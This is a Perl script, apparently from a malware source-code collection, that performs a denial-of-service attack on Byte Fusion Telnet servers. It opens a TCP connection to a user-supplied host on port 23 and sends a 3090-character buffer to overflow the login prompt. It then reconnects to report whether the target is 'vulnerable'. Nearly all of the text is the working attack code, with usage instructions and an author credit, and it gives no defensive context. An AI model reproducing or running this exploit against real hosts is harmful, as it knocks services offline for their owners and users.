MalwareSourceCode/Perl/DoS.Perl.Fusion
2020-10-09 21:59:39 -05:00

43 lines
1.3 KiB
Plaintext

# Example for a possible DOS-attack against Byte Fusion Telnet.
# There need to be 3090 characters to overflow Server.
# Example : Trying example.com...
# Connected to example.com.
# Escape character is '^]'.
# Byte Fusion Telnet, Copyright 1999 Byte Fusion Corporation
# Unregistered Evaluation. See www.bytefusion.com/telnet.html
# (Machine name) Login: [more then 3090 characters]
# Overflow
use IO::Socket;
print "Possible DOS-attack against Byte Fusion Telnet\n";
print "++++++++++++++++++++++++++++++++++++++++++++++\n";
if (not $ARGV[0]) {
print "Usage: $0 [host]\n\n";
exit(0);
}
sub connecthost {
$host = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $ARGV[0],
PeerPort => "23",) or die "Can't open connection to $ARGV[0] because $!\n";
$host->autoflush(1);
}
$bufferoverflow .= "A" x 3090;
print "\nOpen connection...\n";
&connecthost;
print "Sending characters...\n";
print $host "$bufferoverflow\n";
print "close connection...\n";
close $host;
print "\nTesting...\n";
&connecthost("\nThe host $ARGV[0] is vulnerable to this attack.\n");
close $host;
die "The host $ARGV[0] is not vulnerable to this attack.\n";
# by arbon(arbon@gmx.de)